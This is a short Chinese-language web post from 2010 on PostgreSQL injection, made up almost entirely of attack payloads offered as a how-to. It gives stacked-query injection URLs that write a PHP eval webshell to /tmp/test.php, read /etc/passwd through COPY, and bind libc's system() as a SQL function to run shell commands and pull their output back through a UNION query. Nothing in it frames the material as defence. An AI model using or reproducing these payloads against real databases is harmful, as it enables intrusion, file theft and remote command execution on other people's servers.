首页 电脑 电脑学堂 查看内容

postgresql注射的一些东西

2010-3-27 15:35 597 0

摘要: 如何获得webshellhttp://127.0.0.1/postgresql.php?id=1;create%20table%20fuck(shit%20text%20not%20null);&nb...
关键词: system postgresql php select stdout create 输出 id 127.0 store

如何获得webshellhttp://127.0.0.1/postgresql.php?id=1;create%20table%20fuck(shit%20text%20not%20null);  http://127.0.0.1/postgresql.php?id=1;insert into fuck values($$<?php eval($_POST[cmd]);?>$$);  http://127.0.0.1/postgresql.php?id=1;copy%20fuck(shit)%20to%20$$/tmp/test.php$$; 如何读文件http://127.0.0.1/postgresql.php?id=1;create table myfile (input TEXT); http://127.0.0.1/postgresql.php?id=1;copy myfile from ‘/etc/passwd’; http://127.0.0.1/postgresql.php?id=1;select * from myfile; z执行命令有两种方式,一种是需要自定义的lic函数支持,一种是用pl/python支持的。当然,这些的postgresql的数据库版本必须大于8.X创建一个system的函数:CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6', 'system' LANGUAGE 'C' STRICT 创建一个输出表:CREATE TABLE stdout(id serial, system_out text) 执行shell,输出到输出表内:SELECT system('uname -a > /tmp/test') copy 输出的内容到表里面;COPY stdout(system_out) FROM '/tmp/test' 从输出表内读取执行后的回显,判断是否执行成功 SELECT system_out FROM stdout下面是测试例子 /store.php?id=1; CREATE TABLE stdout(id serial, system_out text) -- /store.php?id=1; CREATE FUNCTION system(cstring) RETURNS int AS '/lib/libc.so.6','system' LANGUAGE 'C'STRICT --/store.php?id=1; SELECT system('uname -a > /tmp/test') --/store.php?id=1; COPY stdout(system_out) FROM '/tmp/test' --/store.php?id=1 UNION ALL SELECT NULL,(SELECT stdout FROM system_out ORDER BY id DESC),NULL LIMIT 1 OFFSET 1--
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系 [邮箱地址] 删除

路过

雷人

握手

鲜花

鸡蛋

最新评论

返回顶部